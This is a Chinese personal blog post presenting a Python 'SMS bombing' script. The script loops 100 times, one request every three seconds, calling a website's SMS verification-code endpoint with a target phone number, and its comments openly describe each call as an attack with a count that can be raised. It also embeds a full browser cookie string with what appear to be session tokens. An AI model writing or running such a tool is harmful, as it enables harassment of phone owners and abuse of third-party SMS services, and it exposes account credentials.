酷帥王子'blog-思想激进者,一搞网络安全的市井小儿,随波逐流之辈也!

Python编写短信轰炸工具普通版

2018-8-9 9:35 作者:酷帥王子 | python网络安全 |

import time
import requests
i =0
# while i<100:
#循环100表示短信攻击100次,可根据实际需要更改攻击次数
for i in range(100):
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0',
           'Cookie': 'BIDUPSID=A42CA66BAABF2D1B7D862DDBEF8DE632; PSTM=1509949825; BAIDUID=A42CA66BAABF2D1B7D862DDBEF8DE632:SL=0:NR=50:FG=1; __cfduid=d93b9bd190e946b73984e3d60125705501513672771; BDUSS=2tObm40NGh5cDVlQmpiMURkbHg3OVU5S1JjMUd2WVVjQ1pCeFlCdS02ckpTUzliQVFBQUFBJCQAAAAAAAAAAAEAAAAefHgBcWlueGlhb3Blbmc0NTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMm8B1vJvAdbS; MCITY=-327%3A; BDSFRCVID=4l4sJeC624Ihykn7hEqTJCqhEmK2PerTH6ao4J2X6nnzzDda9KrQEG0Pqx8g0Ku-jY-KogKKyeOTHu3P; H_BDCLCKID_SF=tJA8_DP2tI83fP36q6LaejvH-UIstJJC-2Q-5KL-bxJEbh0RjIcJ2xKpLpQ304riJI8q-UbdJJjoSDbbXlrYyMLJKh7TLqjKMeTxoUJ_5DnJhhvG-x42bbLebPRih4Q9QgbtoMtLtC0BMItCDju3-PAt-U4X5470M6TXsJOOaCk2OpbRy4oTj6DdhUobqTtfHmoxWpcn-RnpDqkCytOG3MvB-fn-QqcILIAHbhQLtJOfHJvsQft20M0EeMtjBbQaQeKHsR7jWhvBeq72yb_505TLjNufJTKDfR32WnTJ25rHDbTw5tI_-P4DenJqBRJZ5mAqoqOO5R-WhI0zXlQhyxtLM-oLB55A5N6naIQqWR5CofjM-T56QRTX-UOKaM743bRTKnLy5KJvfJoKyjKVhP-Uypr-Wh37bR7TVD_ytI_bMDDr5nJbqRkthxT--I62aKDsBt8y-hcqEIL4WRbD-xKpjgcwt63Z0563KR6DLJbfDxbSj4QoqjLD0hOCtpcGKGvkVR5pJh5nhMJeb67JDMP0qf6kexny523iXR5vQpnhhUtuDjAhejO0DHusKP6e-IObsJOsa-5fK4bNh4bqhR3H-UnLqM3CbT7Z0l8Ktt38SRjLh6tV0bOXy4bDaUQL2ItJLUomWIQHDnnFyPvnqfK05UID-JTJLKo4KKJx3nLWeIJo5t5ojPnQhUJiBbc-Ban7LCOxfD_WhK_6jjL35n-Wql702t6-bPo2WbCQ3xbUqpcNLUbWQTtF5n6at-Dj2Tc7hUJOBlTisInMqJ5t0MANDPCEJjkjtJktoCv5b-0_JbTkh4oMq4tehH4J2T3eWDTm_D_2WRnBjnu6MMoa3MIdKf742xPHLITH-pPKKRAMOCoyj4T_2RIvbML8BbjI3mkjbPjyfn02OPKzMluVyP4syPR8KxRnWTIebIcJ-J8XhDDxj6oP; PSINO=1; H_PS_PSSID=; BDORZ=FFFB88E999055A3F8A630C64834BD6D0; Hm_lvt_c37ef181e05da9d936de2ed835125647=1531294843; Hm_lpvt_c37ef181e05da9d936de2ed835125647=1531295181', 'Referer': 'http://9kb.org/apply'}

    payload = {'m1': '1322', 'm2': '2222222'}
    r = requests.get(' http://www.9kb.org/doctor/ajax/sendsmscode',params=payload,headers=headers)
#休眠3秒钟,表示每3秒攻击一次,可根据实际需要进行设置
    time.sleep(3)
    # i +=1
    print(r.url)

文章作者:酷帥王子
文章地址:https://9kb.org:443/post-8.html
版权所有 © 转载时必须以链接形式注明作者和原始出处!

发表评论:



Powered by 酷帥王子

CopyRight © 2009-2016 酷帥王子'blog.  All rights reserved.